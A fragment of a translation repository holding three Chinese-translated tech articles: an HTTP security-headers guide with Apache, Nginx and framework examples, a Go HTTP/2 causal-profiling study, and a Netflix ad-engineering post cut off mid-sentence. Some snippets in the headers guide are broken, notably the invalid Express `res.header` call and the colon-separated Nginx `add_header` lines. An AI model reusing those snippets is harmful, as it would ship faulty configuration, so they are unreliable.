    "content": "> * 原文地址：[HTTP Security Headers - A Complete Guide](https://nullsweep.com/http-security-headers-a-complete-guide/)\n> * 原文作者：[Charlie](https://nullsweep.com/charlie/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/http-security-headers-a-complete-guide.md](https://github.com/xitu/gold-miner/blob/master/TODO1/http-security-headers-a-complete-guide.md)\n> * 译者：[cyz980908](https://github.com/cyz980908)\n> * 校对者：[TokenJan](https://github.com/TokenJan)，[hanxiaosss](https://github.com/hanxiaosss)\n\n# HTTP Security Headers 完整指南\n\n[![](https://images.unsplash.com/photo-1489844097929-c8d5b91c456e?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjExNzczfQ)](https://nullsweep.com/http-security-headers-a-complete-guide/)\n\n销售“安全记分卡”的公司数量正在上升，并已开始成为企业销售的一个因素。我曾听说过一些客户，他们担心从评级较差的供应商那里购买产品，并且有至少一个客户，他们改变了最初基于评级的采购决定。\n\n我调查了这些评级公司计算公司安全分数的方式，调查表明，他们使用的是 HTTP Security Headers 和 IP 信誉的组合。\n\nIP 信誉基于黑名单和垃圾邮件列表以及公共 IP 所有权数据。只要您的公司不发送垃圾邮件并且可以快速检测并阻止恶意软件感染，这些通常应该是干净的。 HTTP Security Headers 使用的计算方式与 [Mozilla Observatory](https://observatory.mozilla.org/) 的工作方式类似。\n\n因此，对于大多数公司而言，他们的分数很大程度上取决于在面向公众的网站上设置的 Security Headers。\n\n您可以快速完成（通常不需要进行大量测试）正确 Headers 的设置，同时可以提高网站安全性，现在还可以帮助您赢得与具有安全意识的客户的交易。\n\n我对这些测试方法论的价值和这些公司提出的过高定价方案都持怀疑态度。我认为这都与真正的产品安全性无关。然而，它确实增加了花时间设置 Header 和正确设置 Header 的重要性。\n\n在本文中，我将介绍通常评估的 Header，为每个 Header 推荐安全值，并给出一个示例 Header 设置。在文章的最后，我将介绍常见应用程序和 web 服务器的示例设置。\n\n## 重要的 Security Headers\n\n### Content-Security-Policy\n\nCSP 通过指定允许加载哪些资源来防止跨站点脚本。在此列表的所有项目中，这可能是创建和维护最耗时的，也是最容易出现风险的。在开发 CSP 期间，请务必仔细测试它 —— 以有效的方式阻止您的站点使用的内容源将会破坏站点的功能。\n\n一个创建初稿的好工具是 [Mozilla laboratory CSP 浏览器扩展](https://addons.mozilla.org/en-US/firefox/addon/laboratory-by-mozilla/)。在浏览器中安装这个，彻底浏览要为其创建 CSP 的站点，然后在您的站点上使用生成的 CSP。理想情况下，还可以重构 JavaScript，因此不会保留内联脚本，因此您可以删除“unsafe inline”指令。\n\nCSP 是复杂而令人困惑的，所以如果你想要更深入的研究，请参阅[官方网站](https://content-security-policy.com/)。\n\n一个好的 CSP 的开始可能是这样的（这可能需要在一个真实的站点上进行大量的修改）。在站点包含的每个部分中添加域。\n\n```bash\n# 默认只允许来自当前站点的内容\n# 允许来自当前网站和 imgur.com 的图片\n# 不允许使用 Flash 和 Java 等对象\n# 只允许来自当前站点的脚本\n# 仅允许当前站点的样式\n# 只允许当前站点的 frame\n# 将 <base> 标记中的 URL 限制为当前站点\n# 允许表单仅提交到当前站点\nContent-Security-Policy: default-src 'self'; img-src 'self' https://i.imgur.com; object-src 'none'; script-src 'self'; style-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';\n```\n\n### Strict-Transport-Security\n\n这个 Header 告诉浏览器，该网站应仅允许 HTTPS 访问 —— 始终在您的网站启用 HTTPS 时启用。如果您使用子域名，我也建议在任何被使用的子域名上强制开启它。\n\n```bash\nStrict-Transport-Security: max-age=3600; includeSubDomains\n```\n\n### X-Content-Type-Options\n\n此 header 确保浏览器遵守应用程序设置的 MIME 类型。这有助于防止某些类型的跨站点脚本绕过。\n\n它还减少了由于浏览器可能不正确猜测某些内容导致的意外应用程序行为，例如当开发人员标记一个页面 HTML，但浏览器认为它看起来像 JavaScript，并试图将其作为 JavaScript 来渲染。这这个 Header 将确保浏览器始终遵守服务器设置的 MIME 类型。\n\n```bash\nX-Content-Type-Options: nosniff\n```\n\n### Cache-Control\n\n这一个比其他的稍微复杂一些，因为您可能需要针对不同的内容类型使用不同的缓存策略。\n\n任何具有敏感数据的页面，例如用户页面或客户结帐页面，都应该设置为无缓存。原因之一是防止其他使用共享计算机的人按下后退按钮或浏览历史并查看个人信息。\n\n但是，很少更改的页面，如静态资源（图像，CSS 文件和 JavaScript 文件）很适合缓存。这可以在逐页的基础上完成，也可以在服务器配置上使用正则表达式完成。\n\n```bash\n# 默认情况下不缓存\nHeader set Cache-Control no-cache\n\n# 缓存静态资源 1 天\n<filesMatch \".(css|jpg|jpeg|png|gif|js|ico)$\">\n    Header set Cache-Control \"max-age=86400, public\"\n</filesMatch>\n```\n\n### Expires\n\n这将设置当前请求缓存到期的时间。如果设置了 Cache-Control max-age 的 Header，它将被忽略。所以我们只在一个简单的扫描器测试它而不考虑 cache-control 的情况下设置它。\n\n出于安全考虑，我们假设浏览器不应该缓存任何东西，因此我们将把这个设置为一个日期，该日期的计算值总是为过去。\n\n```bash\nExpires: 0\n```\n\n### X-Frame-Options\n\n这个 Header 指是否应该允许站点在 iFrame 中显示。\n\n如果恶意网站将您的网站置于 iFrame 中，则恶意网站可以通过运行一些 JavaScript 来执行点击攻击，该 JavaScript 会捕获 iFrame 上的鼠标点击，然后代表用户与该网站进行交互（不一定点击他们认为他们点击的地方！）。\n\n这应该总是设置为 deny，除非您特别使用 Frames, 在这种情况下，它应该设置为同源（same-origin）。如果您在设计中将 Frames 与其他网站一起使用，您也可以在此处白名单列出其他域名。\n\n还应注意，此 Header 已被 CSP frame-ancestrs 指令取代。我仍然建议现在就设置它以作为缓冲工具，但将来它可能会逐步被淘汰。\n\n```bash\nX-Frame-Options: deny\n```\n\n### Access-Control-Allow-Origin\n\n告诉浏览器哪些其他站点的前端 JavaScript 代码可能会对该页面发出请求。除非需要设置此值，否则默认值通常是正确的设置。\n\n例如，如果 SiteA 提供了一些想要向 SiteB 发出请求的 JavaScript，那么 SiteB 必须提供带有 Header 的响应，这个 Header 指定 SiteA 被允许发出这个请求。如果需要设置多个源，请参阅 [MDN 上的详细信息页面](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin).\n\n这可能有点令人困惑，所以我绘制了一个图表来说明这个 Header 如何运作：\n\n![](https://nullsweep.com/content/images/2019/07/Screen-Shot-2019-07-17-at-4.38.37-PM.png)\n\n具有 Access-Control-Allow-Origin 的数据流\n\n```bash\nAccess-Control-Allow-Origin: http://www.one.site.com\n```\n\n### Set-Cookie\n\n确保您的 Cookie 仅通过 HTTPS（加密）发送，并且不能通过 JavaScript 访问它们。如果您的站点也支持 HTTPS，则只能发送 HTTPS Cookie，这是应该的。您应该始终设置以下标志：\n\n* Secure\n* HttpOnly\n\nCookie 定义示例:\n\n```bash\nSet-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly\n```\n\n有关更多 Cookie 的信息，请参阅有关 Cookie 的优秀 [Mozilla 文档](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie)。\n\n### X-XSS-Protection\n\n这个 Header 指示浏览器停止检测到的跨站点脚本攻击的执行。它通常是低风险设置，但仍应在投入生产前进行测试。\n\n```bash\nX-XSS-Protection: 1; mode=block\n```\n\n## Web 服务器示例配置\n\n通常，最好在服务器配置中添加站点范围内的 Headers。Cookie 是一个例外，因为它们通常在应用程序本身中定义。\n\n在将任何 Header 添加到站点之前，我建议首先通过检查 Mozilla Observatory 或手动查看 Headers，看看哪些已经设置好了。一些框架和服务器会自动为您设置其中一些，因此只需要实现您需要或想要更改的那些。\n\n### Apache 配置\n\n.htaccess 中的 Apache 设置示例：\n\n```bash\n<IfModule mod_headers.c>\n    ## CSP\n    Header set Content-Security-Policy: default-src 'self'; img-src 'self' https://i.imgur.com; object-src 'none'; script-src 'self'; style-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';\n\n    ## 一般的 Security Headers\n    Header set X-XSS-Protection: 1; mode=block\n    Header set Access-Control-Allow-Origin: http://www.one.site.com\n    Header set X-Frame-Options: deny\n    Header set X-Content-Type-Options: nosniff\n    Header set Strict-Transport-Security: max-age=3600; includeSubDomains\n\n    ## 缓存规则\n    # 默认情况下不缓存\n    Header set Cache-Control no-cache\n    Header set Expires: 0\n\n    # 缓存静态资源 1 天\n    <filesMatch \".(ico|css|js|gif|jpeg|jpg|png|svg|woff|ttf|eot)$\">\n        Header set Cache-Control \"max-age=86400, public\"\n    </filesMatch>\n\n</IfModule>\n```\n\n### Nginx 配置\n\n```bash\n## CSP\nadd_header Content-Security-Policy: default-src 'self'; img-src 'self' https://i.imgur.com; object-src 'none'; script-src 'self'; style-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self';\n\n## 一般的 Security Headers\nadd_header X-XSS-Protection: 1; mode=block;\nadd_header Access-Control-Allow-Origin: http://www.one.site.com;\nadd_header X-Frame-Options: deny;\nadd_header X-Content-Type-Options: nosniff;\nadd_header Strict-Transport-Security: max-age=3600; includeSubDomains;\n\n## 缓存规则\n# 默认情况下不缓存\nadd_header Cache-Control no-cache;\nadd_header Expires: 0;\n\n# 缓存静态资源 1 天\nlocation ~* \\.(?:ico|css|js|gif|jpe?g|png|svg|woff|ttf|eot)$ {\n    try_files $uri @rewriteapp;\n    add_header Cache-Control \"max-age=86400, public\";\n}\n```\n\n## 应用程序级别的 Header 设置\n\n如果您无权访问 Web 服务器，或者有复杂的 Header 设置需求，您可能希望在应用程序本身中设置这些。这通常可以通过整个站点的框架中间件来完成，以及基于每个响应进行一次性 Header 设置。\n\n为了简单起见，我只在示例中包含了一个 Header。并以同样的方式通过这个方法添加所有需要的内容。\n\n### Node 和 express：\n\n添加全局挂载路径：\n\n```JavaScript\napp.use(function(req, res, next) {\n    res.header('X-XSS-Protection', 1; mode=block);    \n    next();\n});\n```\n\n### Java 和 Spring：\n\n我并没有很多使用 Spring 的经验，但是 [Baeldung](https://www.baeldung.com/spring-response-header) 有一篇很好的文章关于 Spring 中的 Header 设置。\n\n### PHP：\n\n我不熟悉各种 PHP 框架。寻找能够处理请求的中间件。对于单个响应，它非常简单。\n\n```php\nheader(\"X-XSS-Protection: 1; mode=block\");\n```\n\n### Python / Django\n\nDjango 包含可配置的[安全中间件](https://docs.djangoproject.com/en/2.2/ref/middleware/)，它可以为您处理所有这些设置。先启用它们。\n\n对于特定页面，可以将响应视为字典。Django 有一种处理缓存的特殊方法，如果试图以这种方式设置缓存 Headers，那么应该研究这种方法。\n\n```python\nresponse = HttpResponse()\nresponse[\"X-XSS-Protection\"] = \"1; mode=block\"\n```\n\n## 总结\n\n设置 Header 相对快速且简单。在数据保护、跨站点脚本攻击和点击劫持方面，您的站点安全性将有相当大的提高。\n\n您还可以确保您不会因为依赖于这些信息的公司安全评级而失去未来的业务交易。这种做法似乎越来越多，我希望它在未来几年里能继续在企业销售中发挥作用。\n\n我有遗漏你认为应该包含在内的 Header 吗？请告诉我！\n\n[站在威胁行动者的角度](https://nullsweep.com/empathizing-with-threat-actors/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/http2-causalprof.md",
    "content": "> * 原文地址：[Using Causal Profiling to Optimize the Go HTTP/2 Server](http://morsmachine.dk/http2-causalprof)\n> * 原文作者：[Morsing](http://morsmachine.dk/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/http2-causalprof.md](https://github.com/xitu/gold-miner/blob/master/TODO1/http2-causalprof.md)\n> * 译者：[JackEggie](https://github.com/JackEggie)\n> * 校对者：\n\n# 使用因果分析优化 Go HTTP/2 服务器\n\n## 简介\n\n如果你一直都有关注本博客，那么你应该看过这篇[介绍因果分析的论文](https://www.sigops.org/s/conferences/sosp/2015/current/2015-Monterey/printable/090-curtsinger.pdf)。这种分析方式旨在建立性能消耗周期与性能优化之间的联系。我已经在 Go 语言中实践了这种分析方式。我觉得是时候在一个真正的软件中 —— Go 标准库的 HTTP/2 实现中去实践一下了。\n\n## HTTP/2\n\nHTTP/2 是我们熟悉并且受够了的 HTTP/1 协议的全新实现。它的一个连接可以被用来多次发送或接收请求，以减少建立连接时的开销。Go 中的实现会对每一个请求分配一个 goroutine，或者在一次连接中分配多个 goroutine 以处理异步通讯，为了决定谁在何时可以向连接中写入数据，多个 goroutine 之间会互相协调配合。\n\n这种设计非常适合因果分析。如果有什么东西暗中阻塞了一个请求，那么在因果分析中会很容易发现它，而在传统的分析方式中可能就没那么容易了。\n\n## 实验配置\n\n为了方便度量，我基于 HTTP/2 服务器和其客户端构建了一个综合性的基准测试。服务器请求 Google 首页获取请求的报头和正文，并把每一个请求都记录下来。客户端使用 Firefox 的客户端报头请求根路径下的文档。客户端的最大并发请求量为 10。这个数量是随意选择的，但这应该足以保持 CPU 饱和。\n\n我们需要对程序进行跟踪以便执行因果分析。我们会设置一个 `Progress` 标记，它会记录两行代码之间消耗的执行时间。HTTP/2 服务器会调用 `runHandler` 函数，它会在 goroutine 中运行 HTTP 处理程序。我们在创建 goroutine 前就标记了开始，以便评估并发调度延迟和 HTTP 处理的消耗。结束标记则设置在处理程序向信道中写入所有数据之后。\n\n为了获得测试基线，让我们使用传统的方式从服务器获取一份 CPU 分析数据，结果如下图：\n\n![](http://morsmachine.dk/pprofcausal.png)\n\n好吧，这就是我们从一个已经优化过的大型应用程序中获得的东西，一个巨大的难以优化的调用关系图。红色的大框是系统调用，这部分我们是不可能优化的。\n\n下面的数据给了我们更多相关的内容，但对我们也没有实质性的帮助。\n\n```bash\n(pprof) top\nShowing nodes accounting for 40.32s, 49.44% of 81.55s total\nDropped 453 nodes (cum <= 0.41s)\nShowing top 10 nodes out of 186\n      flat  flat%   sum%        cum   cum%\n    18.09s 22.18% 22.18%     18.84s 23.10%  syscall.Syscall\n     4.69s  5.75% 27.93%      4.69s  5.75%  crypto/aes.gcmAesEnc\n     3.88s  4.76% 32.69%      3.88s  4.76%  runtime.futex\n     3.49s  4.28% 36.97%      3.49s  4.28%  runtime.epollwait\n     2.10s  2.58% 39.55%      6.28s  7.70%  runtime.selectgo\n     2.02s  2.48% 42.02%      2.02s  2.48%  runtime.memmove\n     1.84s  2.26% 44.28%      2.13s  2.61%  runtime.step\n     1.69s  2.07% 46.35%      3.97s  4.87%  runtime.pcvalue\n     1.26s  1.55% 47.90%      1.39s  1.70%  runtime.lock\n     1.26s  1.55% 49.44%      1.26s  1.55%  runtime.usleep\n```\n\n看起来程序主要包含了运行时方法的调用和加密方法的调用。让我们先把加密方法放在一边，因为它已经足够优化了。\n\n## 使用因果分析来拯救这个程序\n\n我们最好在使用因果分析得到分析结果之前回顾一下程序的工作方式。当因果分析被启用时，程序将执行一系列测试。测试首先选择一个调用并执行一些加速程序。当该调用被执行时（通过对程序底层的分析来检测），我们会通过加速程序来降低其他线程的执行速度。\n\n这似乎有悖直觉，但由于我们知道从 `Progress` 标记开始执行时程序会慢多少，我们就可以消除这种影响，以获得加速访问站点后程序将会花费的时间。我建议你阅读我的其他关于因果分析的文章或是[最初的论文](https://www.sigops.org/s/conferences/sosp/2015/current/2015-Monterey/printable/090-curtsinger.pdf)来深入了解其中的原理。\n\n最终，因果分析看上去就像是一些被加速了的请求，使得 `Progress` 标记之间的代码运行时间发生了改变。对于 HTTP/2 服务器来说，一次请求的结果如下：\n\n```bash\n0x4401ec /home/daniel/go/src/runtime/select.go:73\n  0%    2550294ns\n 20%    2605900ns    +2.18%    0.122%\n 35%    2532253ns    -0.707%    0.368%\n 40%    2673712ns    +4.84%    0.419%\n 75%    2722614ns    +6.76%    0.886%\n 95%    2685311ns    +5.29%    0.74%\n```\n\n在这个例子中，我们观察 `select` 运行时代码中的 `unlock` 调用。我们实际上加速了这一次调用，从而改变了调用的数量、消耗的时间和与基线的差异。结果表明，我们并没有从这样的加速中获得更多潜在的性能提升。事实上，当我们加速 `select` 代码时，程序反而变得更慢了。\n\n第四列数据看上去有点奇怪。它是在这次请求中检测到的样本占比数据，应该和加速成正比。在传统分析方式中，它可以粗略地表示为加速带来的期望性能提升。\n\n现在来看一个更有趣的调用分析结果：\n\n```bash\n0x4478aa /home/daniel/go/src/runtime/stack.go:881\n  0%    2650250ns\n  5%    2659303ns    +0.342%    0.84%\n 15%    2526251ns    -4.68%    1.97%\n 45%    2434132ns    -8.15%    6.65%\n 50%    2587378ns    -2.37%    8.12%\n 55%    2405998ns    -9.22%    8.31%\n 70%    2394923ns    -9.63%    10.1%\n 85%    2501800ns    -5.6%    11.7%\n```\n\n该调用位于堆栈代码中，上面的数据显示这里的加速可能会得到不错的结果。第四列数据表明，程序运行时这部分代码占比相当大。让我们基于上面的测试数据再来看看重点关注堆栈代码的传统分析方式的分析结果。\n\n```bash\n(pprof) top -cum newstack\nActive filters:\n   focus=newstack\nShowing nodes accounting for 1.44s, 1.77% of 81.55s total\nDropped 36 nodes (cum <= 0.41s)\nShowing top 10 nodes out of 65\n      flat  flat%   sum%        cum   cum%\n     0.10s  0.12%  0.12%      8.47s 10.39%  runtime.newstack\n     0.09s  0.11%  0.23%      8.25s 10.12%  runtime.copystack\n     0.80s  0.98%  1.21%      7.17s  8.79%  runtime.gentraceback\n         0     0%  1.21%      6.38s  7.82%  net/http.(*http2serverConn).writeFrameAsync\n         0     0%  1.21%      4.32s  5.30%  crypto/tls.(*Conn).Write\n         0     0%  1.21%      4.32s  5.30%  crypto/tls.(*Conn).writeRecordLocked\n         0     0%  1.21%      4.32s  5.30%  crypto/tls.(*halfConn).encrypt\n     0.45s  0.55%  1.77%      4.23s  5.19%  runtime.adjustframe\n         0     0%  1.77%      3.90s  4.78%  bufio.(*Writer).Write\n         0     0%  1.77%      3.90s  4.78%  net/http.(*http2Framer).WriteData\n```\n\n上面的数据表明 `newstack` 是从 `writeFrameAsync` 中调用的。每当 HTTP/2 服务器向客户端发送数据帧时，都会创建一个 goroutine 并调用该方法。而在任何时刻，只有一个 `writeFrameAsync` 可以运行，如果程序试图发送更多的数据帧，那么它将被阻塞，直到前一个 `writeFrameAsync` 返回。\n\n由于 `writeFrameAsync` 的调用跨越多个逻辑层，因此不可避免会产生大量的堆栈调用。\n\n## 我是如何将 HTTP/2 服务器的性能提升 28.2% 的\n\n堆栈的增长拖慢了程序的运行，那么我们需要采取一些措施来避免它。每次创建 goroutine 的时候都会调用 `writeFrameAsync`，因此写入每一个数据帧时我们都需要付出堆栈增长的代价。\n\n反过来说，如果我们可以重用 goroutine，我们就可以让堆栈只增长一次，而随后的每一次调用都可以重用已经生成好的堆栈了。我将这个改动部署到服务器上，因果分析的测试基线从 2.650ms 下降到 1.901ms，性能提升了 28.2%。\n\n需要注意的是，HTTP/2 服务器通常不会在本地全速运行。我估计，如果将服务器连接到互联网中，收益将会小得多，因为堆栈增长所消耗的 CPU 时间比网络延迟要小得多。\n\n## 结论\n\n因果分析方法目前还不太成熟，但我认为这个小例子明确地展示了它所具有的潜力。你可以查看该项目的[分支](https://github.com/DanielMorsing/go/tree/causalprof)，其中已经加入了因果分析的埋点。你也可以向我推荐其他的测试基线，来看看我们还能得出哪些结论。\n\n附注：我现在正在找工作。如果你们需要对 Go 语言底层的内部实现有所了解并且熟悉分布式架构的人才，请查看我的[简历](https://github.com/DanielMorsing/CV)或发送邮件到 [daniel@lasagna.horse](mailto:daniel@lasagna.horse)。\n\n## 相关文章\n\n* [因果分析概念更新](http://morsmachine.dk/causalprof-update)\n* [Go 语言中的因果分析](http://morsmachine.dk/causalprof)\n* [Go 语言中的异常处理](http://morsmachine.dk/error-handling)\n* [Go 语言中的 netpoller](http://morsmachine.dk/netpoller)\n* [Go 语言中的 scheduler](http://morsmachine.dk/go-scheduler)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/https-medium-com-netflixtechblog-engineering-to-improve-marketing-effectiveness-part-2.md",
    "content": "> * 原文地址：[Engineering to Improve Marketing Effectiveness (Part 2) — Scaling Ad Creation and Management](https://medium.com/netflix-techblog/https-medium-com-netflixtechblog-engineering-to-improve-marketing-effectiveness-part-2-7dd933974f5e)\n> * 原文作者：[Netflix Technology Blog](https://medium.com/@NetflixTechBlog?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/https-medium-com-netflixtechblog-engineering-to-improve-marketing-effectiveness-part-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/https-medium-com-netflixtechblog-engineering-to-improve-marketing-effectiveness-part-2.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[kuangbao9](https://github.com/kuangbao9), [Jingyuan0000](https://github.com/Jingyuan0000)\n\n# 提高营销效率的工程（二）—— 广告制作和管理的规模化\n\n[Ravi Srinivas Ranganathan](https://www.linkedin.com/in/rravisrinivas) 和 [Gopal Krishnan](https://www.linkedin.com/in/gopal-krishnan-9057a7/) 编写。\n\n> 在本系列的[第一篇](https://medium.com/netflix-techblog/engineering-to-improve-marketing-effectiveness-part-1-a6dd5d02bab7)博客中，我们描述了如何把广告科技融入市场营销的理念，动机和方法。除此之外，为了大规模地解决创意开发和本地化的问题，我们还制定了一些管理计划。\n\n> 在第二部分中，我们描述了 在 Netflix 中通过广告组装和个性化来推广广告的过程。\n\n### 问题的表象\n\n我们的世界级营销团队的独特任务是为我们展示不断增长的原创电影和电视节目，以及每一部电影和电视剧背后的独特故事。他们的工作不仅仅是提高我们制作的内容的认知度，更困难的是 —— 共同地为一部分非会员（受到营销）和会员量身定制合适的内容，这些数十亿的用户都是我们线上广告的受众。这些广告必须在各种网站和发布商、Facebook、YouTube 和其他广告平台上送达至互联网用户。\n\n想象一下，如果你要为下一部大片电影或必须看的电视节目发起数字营销活动。你需要为各种创意概念、A/B 测试、广告格式和本地化创建广告，然后为技术和内容错误创建 QC（质量控制）。在考虑到这些变化后，你需要将它们传输到这些广告将要投放的对应平台上。现在，想象一下，每天发布多重标题，同时仍然确保这些广告中的每一个都能传达给它们想要与之交谈的人。最后，你需要在广告发布后继续管理你的广告组合，来确保他们是最新的（比如，音乐授权和权限到期），并继续支持推出后的各个阶段。\n\n问题可以分为三类：\n\n*  **Ad Assembly**：一种可扩展的广告制作和构建自动化工作流的方法\n*  **Creative QC**：一组可以轻松地对成千上万的广告单元的功能和语义正确性进行质量控制的工具和服务。\n*  **Ad Catalog Management**：基于 ML 的自动化管理使管理规模性广告活动成为可能\n\n### 什么是 Ad Assembly？\n\n总之，如果你从纯粹的分析角度来看待这个问题，我们需要找到一种方法来有效地自动化和管理内容组合所产生的指数级规模增长。\n\n**广告基数总数 ≈**\n\n_Titles in Catalog_ **x** _Ad Platforms_ **x** _Concepts_ **x** _Formats_ **x** _A/B Tests_ **x** _Localizations_\n\n我们处理组合学的方法是从源头捕获它，然后创建我们的广告业务（我们产品的主要用户）可用最少信息来简洁地表达各种变化的营销平台。\n\n![](https://cdn-images-1.medium.com/max/800/1*TWbovfnsSqMJG66KYDQp6w.gif)\n\n**基于视频的社会广告创意变体**\n\n考虑以下广告，这些广告的高亮部分在多个维度上有所不同。\n\n![](https://cdn-images-1.medium.com/max/800/0*NQ9dYbl6USSMRXhc)\n\n**在显示广告上的创意性区别**\n\n如果你只是简单地改变这则广告在所有市场的独特本地化，那么就会导致产生 30 种变体。在创建静态广告的世界中，这意味着将通过营销生成 30 个唯一的广告文件，然后进行投放。除了更努力外，任何需要处理所有单元的变化都必须分别引入份单元中，然后再重新进行 QC-ed。哪怕是对一个创意表达的小小修改，比如资产的改变，也会涉及到在广告单元中进行修改。然后，每个变体都需要涉及 QC 和素材更新/重放广告投放的剩余流程。\n\n我们对于上述内容的解决方案是构建动态广告创建和配置平台 —— 我们的广告制作合作伙伴构建单个 **_dynamic_** 单元，然后使用相关的数据配置来修改广告单元的行为。其次，通过提供工具，营销人员只需要表达变化并自动继承不变的内容，就可以显著减少需要定义和管理的数据的表面积。\n\n如果你查看下面的本地化版本就会发现，它们会重用相同的基本构建块，但只会基于配置来表达不同的创意。\n\n![](https://cdn-images-1.medium.com/max/600/0*DqNQBG1sW7cEvPYf)\n\n**简单的本地化配置**\n\n这样就可以在几分钟内从 1 => 30 地逐个进行本地化，而不是每个广告单元都花费几个小时甚至是几天时间！\n\n我们还可以通过与许多有用的服务构建集成来加快广告组装的过程，从而使这个过程更加无缝。比如，我们有支持成熟度评级、转码和压缩视频资产或从我们的产品目录中提取图稿等集成功能。总而言之，这些便利性极大地降低了运行具有极大覆盖范围的活动所需的时间。\n\n### 创意 QC\n\n质量控制的一个主要方面是确保广告正确渲染并没有任何技术或视觉错误的 —— 我们称之为“功能性 QC”。鉴于不同广告类型之间存在广泛差异以及可能出现的问题，下面是我们追求改进创意质量控制状态而采取的一些顶级方法。\n\n首先，我们有一些工具可以在整个广告组装过程中插入合理的值，并减少出错的可能性。\n\n然后，通过在整个装配过程中增加验证和正确性检查，使 QC 问题的总量最小化。比如，当超过 Facebook 视频广告的字符限制时，我们就会给出警告。\n\n![](https://cdn-images-1.medium.com/max/800/0*e-_QuY5UR1T24BMR)\n\n**广告装配期间的警告**\n\n其次，我们运行自动测试套件，帮助识别广告单元中是否存在任何可能对功能产生负面影响或对用户体验产生负面影响的技术问题。\n\n![](https://cdn-images-1.medium.com/max/800/0*htbGIBapUv-gh_S1)\n\n**一个来自陈列广告的自动扫描的样本**\n\n最近，我们开始利用机器视觉来处理一些 QC 任务。比如，根据广告的投放位置，可能需要添加特定的评级图像。为了验证在视频创建过程中应用了正确的评级图像，我们现在使用由我们的云媒体系统团队开发的图像检测算法。随着以 AV 为中心的广告素材的数量不断扩大以及时间的推移，我们将在整体工作流中添加更多这样的解决方案。\n\n![](https://cdn-images-1.medium.com/max/600/0*OF25W7mXzgtEoFj5)\n\n**采用计算机视觉的抽样来评定图像 QC-ED**\n\n除了功能的正确性，我们还非常关心语义化 QC —— 即，让我们的营销用户确定广告是否符合他们的创意目标，并准确地代表了内容和 Netflix 品牌的腔调及影响力。\n\n构建我们广告平台的核心原则之一是立即更新实时渲染功能。这再加上我们的用户可以很容易地识别和做出具有广泛影响的精确的更新，使他们能够尽快解决问题。我们的用户还能够根据需要进行创造性的反馈，通过共享 **_tearsheets_** 来进行更有效地评论。Tearsheet 是在最后的广告被锁定时的预览，用来在发射前获得最终的许可。\n\n鉴于这一过程对我们的广告活动的整体健康和成功的重要性，我们正大力投资 QC 自动化基础设施。我们还积极地致力于开启复杂的任务管理，状态跟踪和通知工作流，帮助我们以可持续的方式扩展到更高的数量级。\n\n### 广告目录管理\n\n广告准备好后，我们会用一个“目录”层将广告制作、组装和广告投放分离开来，而不是直接投放广告。\n\n目录根据广告活动的意图选择要运行的广告集，这是为了建立标题意识还是用于收购营销？我们是在为一部电影或节目做宣传活动，还是它突显多个标题，还是一项以品牌为中心的资产？这是发布前的广告系列还是发布后的广告系列？\n\n一旦指定了用户定义：自动目录就会处理以下内容：\n\n*  使用聚合的第一手数据和机器学习模型，用户配置，广告性能数据等，来管理它所提供的广告素材。\n*  自动请求制作所需但尚未提供的广告\n*  对不断变化的资产可用性、推荐数据、黑名单等作出响应。\n*  简化用户工作流 —— 管理活动的启动前和启动后阶段，调度内容刷新等。\n*  收集指标并跟踪资产的使用情况和效率\n\n因此，目录是一个非常强大的工具，因为它完成了对自己的优化，因此它支持 —— 实际上，它把我们的第一手数据变成了一个“情报层”。\n\n### 个性化和 A/B 测试\n\n所有这些都可以加到大于其部分 - 的总和中。使用这一技术，我们现在可以运行 **_Global Scale 